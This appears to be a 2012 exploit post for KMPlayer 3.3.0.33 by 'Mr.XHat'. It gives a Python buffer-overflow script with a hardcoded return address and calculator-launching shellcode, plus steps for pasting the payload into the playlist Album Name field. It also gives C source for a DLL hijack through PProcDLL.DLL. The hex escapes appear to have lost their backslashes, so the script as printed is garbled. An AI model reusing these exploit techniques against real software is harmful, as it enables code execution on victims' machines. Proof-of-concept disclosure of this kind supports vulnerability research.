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KMPlayer 3.3.0.33 Buffer Overflow / DLL Hijack

Posted on 06 November 2012

# Exploit Title: The KMPlayer v3.3.0.33 Multiple Vulnerabilities
# Date: October, 26, 2012
# Discovered By: Mr.XHat
# Exploit Author: Mr.XHat
# E-Mail: Mr.XHat {AT} Gmail.com
# Vendor: http://www.kmplayer.com/
# Version: 3.3.0.33
# Tested On: WinXP SP3 EN
#########################

# Buffer Overflow Vulnerability:

junk = "x41" * 250
eip = "xD7x30x9Dx7C"
shellcode = (
"x31xC9x51x68x63x61x6Cx63"
"x54xB8xC7x93xC2x77xFFxD0"
)
exploit = junk + eip + shellcode
file = open("Exploit.txt", "w")
file.write(exploit)
file.close()

# How To Do Exploit:
# First Run The KMPlayer And Get To Playlist > Playlist Editor... > Add New album Then Past Exploit Code To "Album Name:", Now Your Shellcode Will Executed!
############################################################################################################################################################

# DLL Hijacking Vulnerability:

# DLL Name: PProcDLL.DLL

# How To Do Hijack:
First Compile Below Source Code With C Compiler(s) And Rename Compiled DLL To PProcDLL.DLL Then Copy It To The KMPlayer Installed Path, Now If You Run The KMPlayer DLL Will Hijacked!

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
 dll_hijack();
 case DLL_THREAD_ATTACH:
 case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
 break;
 }
 return TRUE;
}
int dll_hijack()
{
 MessageBox(0, "DLL Hijacked!", "Mr.XHat", MB_OK);
}
#

# Enjoys!

 

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